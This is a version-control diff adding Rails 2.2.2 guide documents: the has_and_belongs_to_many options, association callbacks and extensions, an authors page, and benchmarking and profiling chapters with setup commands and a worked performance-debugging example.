+  This part is not used in any assemblies
+<% end %>
+-------------------------------------------------------
+
+===== +_collection_.size+
+
+The +_collection_.size+ method returns the number of objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+ at assembly_count = @part.assemblies.size
+-------------------------------------------------------
+
+===== +_collection_.find(...)+
+
+The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+ at new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
+-------------------------------------------------------
+
+===== +_collection_.exist?(...)+
+
+The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+
+===== +_collection_.build(attributes = {})+
+
+The +_collection_.build+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+ at assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
+-------------------------------------------------------
+
+===== +_collection_.create(attributes = {})+
+
+The +_collection_.create+ method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+ at assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
+-------------------------------------------------------
+
+==== Options for has_and_belongs_to_many
+
+In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
+end
+-------------------------------------------------------
+
+The +has_and_belongs_to_many+ association supports these options:
+
+// * +:accessible+
+* +:association_foreign_key+
+* +:class_name+
+* +:conditions+
+* +:counter_sql+
+* +:delete_sql+
+* +:extend+
+* +:finder_sql+
+* +:foreign_key+
+* +:group+
+* +:include+
+* +:insert_sql+
+* +:join_table+
+* +:limit+
+* +:offset+
+* +:order+
+* +:readonly+
+* +:select+
+* +:uniq+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:association_foreign_key+
+
+By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
+
+TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name => "User", 
+    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+end
+-------------------------------------------------------
+
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :class_name => "Gadget"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
+end
+-------------------------------------------------------
+
+You can also set conditions via a hash:
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
+end
+-------------------------------------------------------
+
+If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using + at parts.assemblies.create+ or + at parts.assemblies.build+ will create orders where the factory column has the value "Seattle".
+
+===== +:counter_sql+
+
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. 
+
+NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
+
+===== +:delete_sql+
+
+Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
+
+===== +:extend+
+
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+
+===== +:finder_sql+
+
+Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name => "User", 
+    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+end
+-------------------------------------------------------
+
+===== +:group+
+
+The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :group => "factory"
+end
+-------------------------------------------------------
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. 
+
+===== +:insert_sql+
+
+Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
+
+===== +:join_table+
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
+
+===== +:limit+
+
+The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
+end
+-------------------------------------------------------
+
+===== +:offset+
+
+The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records.
+
+===== +:order+
+
+The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
+end
+-------------------------------------------------------
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+===== +:uniq+
+
+Specify the +:uniq => true+ option to remove duplicates from the collection.
+
+===== +:validate+
+
+If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
+
+==== When are Objects Saved?
+
+When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the +_collection_.build+ method.
+
+=== Association Callbacks
+
+Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:
+
+* +before_add+
+* +after_add+
+* +before_remove+
+* +after_remove+
+
+You define association callbacks by adding options to the association declaration. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :before_add => :check_credit_limit
+
+  def check_credit_limit(order)
+    ...
+  end
+end
+-------------------------------------------------------
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(order)
+    ...
+  end
+
+  def calculate_shipping_charges(order)
+    ...
+  end
+end
+-------------------------------------------------------
+
+If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
+
+=== Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders do
+    def find_by_order_prefix(order_number)
+      find_by_region_id(order_number[0..2])
+    end
+  end
+end
+-------------------------------------------------------
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+[source, ruby]
+-------------------------------------------------------
+module FindRecentExtension
+  def find_recent
+    find(:all, :conditions => ["created_at > ?", 5.days.ago])
+  end
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders, :extend => FindRecentExtension
+end
+
+class Supplier < ActiveRecord::Base
+  has_many :deliveries, :extend => FindRecentExtension
+end
+-------------------------------------------------------
+
+To include more than one extension module in a single association, specify an array of names:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
+end
+-------------------------------------------------------
+
+Extensions can refer to the internals of the association proxy using these three accessors:
+
+* +proxy_owner+ returns the object that the association is a part of.
+* +proxy_reflection+ returns the reflection object that describes the association.
+* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11[Lighthouse ticket]
+
+* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
+* September 22, 2008: Added diagrams, misc. cleanup by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* September 14, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/authors.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/authors.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/authors.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+About the Authors
+=================
+
+.Frederick Cheung
+[[fcheung]]
+***********************************************************
+Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
+He is based in Cambridge (UK) and when not consuming fine ales he blogs at http://www.spacevatican.org[spacevatican.org].
+***********************************************************
+
+.Mike Gunderloy
+[[mgunderloy]]
+***********************************************************
+Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
+work with Rails. His near-daily links and other blogging can be found at http://afreshcup.com[A Fresh Cup].
+***********************************************************
+
+.Emilio Tagua
+[[miloops]]
+***********************************************************
+Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
+Cofounder of http://www.eventioz.com[Eventioz]. He has been using Rails since 2006 and contributing since early 2008.
+Can be found at gmail, twitter, freenode, everywhere as miloops.
+***********************************************************
+
+.Heiko Webers
+[[hawe]]
+***********************************************************
+Heiko Webers is the founder of http://www.bauland42.de[bauland42], a German web application security consulting and development
+company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development,
+Heiko has rarely looked back.
+***********************************************************
+
+.Tore Darell
+[[toretore]]
+***********************************************************
+Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
+and unobtrusive JavaScript. His home on the internet is his blog http://tore.darell.no/[Sneaky Abstractions].
+***********************************************************

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/appendix.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/appendix.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/appendix.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,95 @@
+== Other Profiling Tools ==
+
+There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them. 
+
+=== httperf ===
+http://www.hpl.hp.com/research/linux/httperf/[http://www.hpl.hp.com/research/linux/httperf/]
+
+A necessary tool in your arsenal. Very useful for load testing your website.
+
+#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble. 
+
+
+=== Rails Analyzer ===
+
+The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools. 
+
+* The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
+
+* The Action Profiler similar to Ruby-Prof profiler.
+
+* rails_stat which gives a live counter of requests per second of a running Rails app.
+
+* The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
+
+Their project homepage can be found at http://rails-analyzer.rubyforge.org/[http://rails-analyzer.rubyforge.org/]
+
+The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger. 
+
+
+==== SyslogLogger ====
+
+SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.
+
+More information can be found out at http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html[http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html]
+
+If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach
+
+==== A Hodel 3000 Compliant Logger for the Rest of Us ====
+
+Directions taken from 
+http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb[link to module file]
+
+Just put the module in your lib directory and  add this to your environment.rb in it's config portion. 
+
+------------------------------------------------------------
+require 'hodel_3000_compliant_logger'
+config.logger = Hodel3000CompliantLogger.new(config.log_path)
+-------------------------------------------------------------
+
+It's that simple. Your log output on restart should look like this. 
+
+.Hodel 3000 Example
+----------------------------------------------------------------------------
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+Parameters: {"action"=>"shipping", "controller"=>"checkout"}
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mBook Columns (0.003155)   SHOW FIELDS FROM `books`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mBook Load (0.000881)   SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mShippingAddress Columns (0.002683)   SHOW FIELDS FROM `shipping_addresses`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mBook Load (0.000362)   SELECT ounces FROM `books` WHERE (`books`.`id` = 1) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+Rendering template within layouts/application
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+Rendering checkout/shipping
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mBook Load (0.000548)   SELECT * FROM `books` 
+WHERE (sold = 0) LIMIT 3
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mAuthor Columns (0.002571)   SHOW FIELDS FROM `authors`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+Author Load (0.000811)   SELECT * FROM `authors` WHERE (`authors`.`id` = 1) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+Rendered store/_new_books (0.01358)
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]
+----------------------------------------------------------------------------
+
+=== Palmist === 
+An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000 
+http://www.flyingmachinestudios.com/projects/[http://www.flyingmachinestudios.com/projects/]
+
+=== New Relic === 
+http://www.newrelic.com/[http://www.newrelic.com/]
+
+Pretty nifty performance tools, pricey though. They do have a basic free
+service both for when in development and when you put your application into production. Very simple installation and signup.
+
+#TODO more in-depth without being like an advertisement. 
+
+==== Manage ====
+
+Like new relic a production monitoring tool. 

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,105 @@
+== Real Life Example ==
+=== The setup ===
+
+So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark. 
+
+
+[source, ruby]
+----------------------------------------------------------------------------
+class HomepageTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+----------------------------------------------------------------------------
+
+.Output
+----------------------------------------------------------------------------
+HomepageTest#test_homepage (115 ms warmup)
+        process_time: 591 ms
+        memory: 3052.90 KB
+        objects: 59471
+----------------------------------------------------------------------------
+
+
+
+Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test. 
+
+.Default
+----------------------------------------------------------------------------
+HomepageTest#test_homepage (19 ms warmup)
+        process_time: 26 ms
+              memory: 298.79 KB
+             objects: 1917
+----------------------------------------------------------------------------
+
+that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us. 
+
+.Process time
+----------------------------------------------------------------------------
+20.73      0.39     0.12     0.00     0.27      420  Pathname#cleanpath_aggressive
+17.07      0.14     0.10     0.00     0.04     3186  Pathname#chop_basename
+ 6.47      0.06     0.04     0.00     0.02     6571  Kernel#===
+ 5.04      0.06     0.03     0.00     0.03      840  Pathname#initialize
+ 5.03      0.05     0.03     0.00     0.02        4  ERB::Compiler::ExplicitScanner#scan
+ 4.51      0.03     0.03     0.00     0.00     9504  String#==
+ 2.94      0.46     0.02     0.00     0.44     1393  String#gsub
+ 2.66      0.09     0.02     0.00     0.07      480  Array#each
+ 2.46      0.01     0.01     0.00     0.00     3606  Regexp#to_s
+----------------------------------------------------------------------------
+
+Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and  Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. *If we can get rid of or shorten these processes we can make our pages run much quicker*. 
+
+Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information. 
+
+.Objects Created
+----------------------------------------------------------------------------
+20.74  34800.00 12324.00     0.00 22476.00      420  Pathname#cleanpath_aggressive
+16.79  18696.00  9978.00     0.00  8718.00     3186  Pathname#chop_basename
+11.47  13197.00  6813.00     0.00  6384.00      480  Array#each
+ 8.51  41964.00  5059.00     0.00 36905.00     1386  String#gsub
+ 6.07   3606.00  3606.00     0.00     0.00     3606  Regexp#to_s
+----------------------------------------------------------------------------
+
+nope nothing new here. Lets look at memory usage
+
+.Memory Consuption
+----------------------------------------------------------------------------
+ 40.17   1706.80  1223.70     0.00   483.10     3186  Pathname#chop_basename
+ 14.92    454.47   454.47     0.00     0.00     3606  Regexp#to_s
+  7.09   2381.36   215.99     0.00  2165.37     1386  String#gsub
+  5.08    231.19   154.73     0.00    76.46      420  Pathname#prepend_prefix
+  2.34     71.35    71.35     0.00     0.00     1265  String#initialize_copy
+----------------------------------------------------------------------------
+
+Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top. 
+
+
+[source, html]
+----------------------------------------------------------------------------
+<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+----------------------------------------------------------------------------
+
+That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that. 
+
+
+[source, html]
+----------------------------------------------------------------------------
+<%if request.env["HTTP_USER_AGENT"] =~ /Opera/%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+----------------------------------------------------------------------------
+
+I'll now try my test again. 
+
+----------------------------------------------------------------------------
+process_time: 75 ms
+              memory: 519.95 KB
+             objects: 6537
+----------------------------------------------------------------------------
+
+Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill. 
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,185 @@
+== Performance Testing Built into Rails ==
+
+As of June 20, 2008 edge rails has had a new type of Unit test geared towards profiling. Of course like most great things, getting it working takes  bit of work. The test relies on statistics gathered from the Garbage Collection that isn't readily available from standard compiled ruby. There is a patch located at http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch]
+
+Also the test requires a new version of Ruby-Prof version of 0.6.1. It is not readily available at the moment and can most easily be found as a tarball on github. It's repository is located at git://github.com/jeremy/ruby-prof.git.
+
+What follows is a description of how to set up an alternative ruby install to use these features
+
+=== Compiling the Interpreter ===
+
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ mkdir rubygc
+[User ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
+[User ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
+[User ~]$ cd ruby-1.8.6-p111
+[User ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+
+#I like putting my alternative ruby builds in an opt directory, set the prefix to where ever you feel is most comfortable.
+
+[User ruby-1.8.6-p111]$ ./configure --prefix=/opt/rubygc
+[User ruby-1.8.6-p111]$ sudo make && make install
+----------------------------------------------------------------------------
+
+Add the following lines in your \~/.profile or \~/.bash\_login for convenience.
+
+----------------------------------------------------------------------------
+alias gcruby='/opt/rubygc/rubygc/bin/ruby'
+alias gcrake='/opt/rubygc/rubygc/bin/rake'
+alias gcgem='/opt/rubygc/rubygc/bin/gem'
+alias gcirb=/opt/rubygc/rubygc/bin/irb'
+alias gcrails='/opt/rubygc/rubygc/bin/rails'
+----------------------------------------------------------------------------
+
+=== Installing RubyGems ===
+
+Next we need to install rubygems and rails so that we can use the interpreter properly. 
+
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
+[User ~]$ tar -xzvf rubygems-1.2.0.tgz 
+[User ~]$ cd rubygems-1.2.0
+[User rubygems-1.2.0]$ gcruby setup.rb
+[User rubygems-1.2.0]$ cd ~
+[User ~]$ gcgem install rake
+[User ~]$ gcgem install mysql
+[User ~]$ gcgem install rails
+----------------------------------------------------------------------------
+
+If installing mysql gem fails ( like it did for me ), you will have to manually install it :
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[User mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[User mysql-2.7]$ make && make install
+----------------------------------------------------------------------------
+
+=== Installing Jeremy Kemper's ruby-prof ===
+
+We are in the home stretch. All we need now is ruby-proff 0.6.1
+
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ git clone git://github.com/jeremy/ruby-prof.git
+[User ~]$ cd ruby-prof/
+[User ruby-prof (master)]$ gcrake gem
+[User ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
+----------------------------------------------------------------------------
+
+Finished, go get yourself a power drink!
+
+=== Ok so I lied, a few more things we need to do ===
+
+You have everything we need to start profiling through rails Unit Testing. Unfortunately we are still missing a few files. I'm going to do the next step on a fresh Rails app, but it will work just as well on developmental 2.1 rails application. 
+
+==== The Rails App ====
+
+First I need to generate a rail app
+
+[source, shell]
+----------------------------------------------------------------------------
+[User ~]$ gcrails profiling_tester -d mysql
+[User ~]$ cd profiling_tester
+[User profiling_tester]$ script/generate scaffold item name:string
+[User profiling_tester]$ gcrake db:create:all
+[User profiling_tester]$ gcrake db:migrate
+[User profiling_tester (master)]$ rm public/index.html
+----------------------------------------------------------------------------
+
+Now I'm going to init it as a git repository and add edge rails as a submodule to it. 
+
+[source, shell]
+----------------------------------------------------------------------------
+[User profiling_tester]$ git init
+[User profiling_tester (master)]$ git submodule add git://github.com/rails/rails.git vendor/rails
+----------------------------------------------------------------------------
+
+Finally we want to  change config.cache_classes to true in our environment.rb
+
+----------------------------------------------------------------------------
+config.cache_classes = true
+----------------------------------------------------------------------------
+
+If we don't cache classes, then the time Rails spends reloading and compiling our models and controllers will confound our results.  Obviously we will try to make our test setup as similar as possible to our production environment.
+
+=== Generating and Fixing the tests ===
+
+Ok next we need to generate the test script. 
+
+[source, shell]
+----------------------------------------------------------------------------
+[User profiling_tester (master)]$ script/generate performance_test homepage
+----------------------------------------------------------------------------
+
+This will generate _test/performance/homepage_test.rb_ for you. However, as I have generated the project using Rails 2.1 gem, we'll need to manually generate one more file before we can go ahead.
+
+We need to put the following inside _test/performance/test_helper.rb
+
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+----------------------------------------------------------------------------
+
+Though this depends where you run your tests from and your system config. I myself run my tests from the Application root directory 
+
+so instead of 
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+
+#I have
+
+require 'test/test_helper'
+----------------------------------------------------------------------------
+
+Also I needed to change homepage_test.rb to reflect this also
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test/performance/test_helper.rb'
+----------------------------------------------------------------------------
+
+=== Testing ===
+
+#TODO is there some way to compare multiple request at once like ruby_analyze
+
+Now, if we look at the generated performance test ( one we generated using _script/generate performance_test_ ), it'll look something like :
+
+[source, ruby]
+----------------------------------------------------------------------------
+.require 'performance/test_helper'
+
+class HomepageTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+----------------------------------------------------------------------------
+
+
+The format looks very similar to that of an integration test. And guess what, that's what it is. But that doesn't stop you from testing your Model methods. You could very well write something like :
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'performance/test_helper'
+
+class UserModelTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_slow_find
+    User.this_takes_shlong_to_run
+  end
+end
+----------------------------------------------------------------------------
+
+
+Which is very useful way to profile individual processes. 

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/gameplan.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/gameplan.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/gameplan.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+== Get Yourself a Game Plan ==
+
+You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -
+
+=== The Analysis Process ===
+
+I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method. 
+
+For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.
+
+Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are. 
+
+* Develop a set of variables and processes to measure in order to answer this question!
+* Profile based on the question and variables. Key problems to avoid when designing this experiment are:
+	- Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes. 
+	- Cross Contamination: Make sure that runs from one test do not harm the other tests.
+	- Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
